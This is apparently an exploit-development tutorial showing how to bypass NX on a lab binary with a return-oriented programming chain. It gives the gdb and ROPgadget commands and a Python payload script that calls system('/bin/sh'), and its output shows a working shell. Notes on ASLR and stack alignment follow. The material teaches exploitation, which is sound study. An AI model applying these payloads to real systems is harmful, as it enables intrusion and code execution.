When NX (No-Execute) is enabled, we cannot execute shellcode on the stack. Return-Oriented Programming (ROP) bypasses this by chaining existing code snippets called “gadgets” to perform arbitrary operations.
The Exploit Chain Visualizer maps the five stages from vulnerability discovery through code execution, and shows where NX, stack canaries, and ASLR intervene — useful context for understanding why ROP is necessary.
Understanding the Constraints
With NX enabled, the stack is not executable. We need to:
- Find useful gadgets in the binary
- Chain them to set up a call to
system("/bin/sh") - Use the x64 calling convention (first argument in RDI)
Initial Analysis
Finding the Offset
gdb -q ./bypass_nx
gdb-peda$ pattern create 1000 p1000.txt
gdb-peda$ run < p1000.txtLocate RSP’s contents after the crash:
gdb-peda$ pattern offset A7AAMAAiAA8A
A7AAMAAiAA8A found at offset: 104Alternatively, from RBP:
gdb-peda$ pattern offset 0x416841414c414136
found at offset: 96RIP offset = 96 + 8 = 104 bytes
Finding ROP Gadgets
Use ROPgadget to find useful instructions:
ROPgadget --binary ./bypass_nx --only "pop|ret"Gadgets information
============================================================
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x0000000000400520 : pop rbp ; ret
0x0000000000400451 : retThe key gadget is pop rdi; ret at 0x400693. This lets us load a value into RDI (the first argument register).
Finding Required Addresses
Locating /bin/sh
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
bypass_nx : 0x4006e8 --> 0x68732f6e69622f ('/bin/sh')
bypass_nx : 0x6006e8 --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7ffff7b99d57 --> 0x68732f6e69622f ('/bin/sh')Use the binary’s copy: 0x4006e8 (doesn’t change with ASLR)
Finding system()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>Note: This address is from libc and will be randomized with ASLR. For this example, we assume ASLR is disabled or we’re using a fixed environment.
Building the ROP Chain
The Chain Logic
1. pop rdi; ret - Pops next value into RDI
2. "/bin/sh" addr - Address of the string, goes into RDI
3. system() - Calls system() with RDI as argumentExploit Code
#!/usr/bin/env python3
from struct import pack
buf = b""
buf += b"A"*104 # Junk to reach RIP
# Gadget: pop rdi; ret
buf += pack("<Q", 0x0000000000400693)
# Argument: pointer to "/bin/sh"
buf += pack("<Q", 0x00000000004006e8)
# Call system()
buf += pack("<Q", 0x00007ffff7a52390)
f = open("payload.txt", "wb")
f.write(buf)Execution
(cat payload.txt; cat) | ./bypass_nx
Try invoking /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAA...
Try smarter
id
uid=1000(xdev) gid=1000(xdev) groups=1000(xdev)ROP Chain Visualization
Stack Layout After Overflow:
Lower addresses
| |
| "A" * 104 | <- Junk buffer
|--------------------|
| 0x400693 | <- pop rdi; ret (overwrites saved RIP)
|--------------------|
| 0x4006e8 | <- "/bin/sh" pointer (popped into RDI)
|--------------------|
| 0x7ffff7a52390 | <- system() (ret jumps here)
| |
Higher addresses
Execution flow:
1. Function returns, pops 0x400693 into RIP
2. `pop rdi` loads 0x4006e8 into RDI
3. `ret` pops 0x7ffff7a52390 into RIP
4. system() executes with RDI = "/bin/sh"Handling ASLR
If ASLR is enabled, libc addresses are randomized. Solutions:
Option 1: Leak libc Address
Use a technique similar to ret2libc on x86:
- Call
puts@plt(puts@got)to leak the address - Calculate libc base
- Return to main and exploit again
Option 2: Use Binary’s Own Functions
If the binary has system@plt, use it instead:
gdb-peda$ x/3i system@plt
0x400450 <system@plt>: jmp QWORD PTR [rip+0x200bc2]PLT addresses are fixed (no PIE).
Stack Alignment
x64 System V ABI requires 16-byte stack alignment before call instructions. If system() crashes:
Add a single ret gadget before system() to align the stack:
buf += pack("<Q", 0x0000000000400451) # ret (stack alignment)
buf += pack("<Q", 0x00007ffff7a52390) # system()Advanced: Multi-Gadget Chains
For more complex operations, chain multiple gadgets:
# Example: Write value to memory
# Gadgets needed:
# pop rdi; ret
# pop rsi; pop r15; ret
# mov [rdi], rsi; ret (if available)
buf = "A"*104
buf += pack("<Q", pop_rdi)
buf += pack("<Q", target_address)
buf += pack("<Q", pop_rsi_r15)
buf += pack("<Q", value_to_write)
buf += pack("<Q", 0) # Junk for r15
buf += pack("<Q", mov_gadget)Tools for ROP
ROPgadget
# All gadgets
ROPgadget --binary ./target
# Specific gadgets
ROPgadget --binary ./target --only "pop|ret"
ROPgadget --binary ./target --only "mov|ret"
# Search for strings
ROPgadget --binary ./target --string "/bin/sh"Ropper
ropper --file ./target --search "pop rdi"pwntools
from pwn import *
elf = ELF('./target')
rop = ROP(elf)
# Find gadgets automatically
rop.call('system', [next(elf.search(b'/bin/sh'))])
print(rop.dump())Key Takeaways
- Gadgets end in
ret- This allows chaining to the next gadget - Arguments via registers - x64 uses RDI, RSI, RDX for first three arguments
- Stack alignment matters - Add padding
retgadgets if needed - PIE complicates things - Without PIE, binary addresses are fixed
- ASLR affects libc - Leak addresses or use PLT entries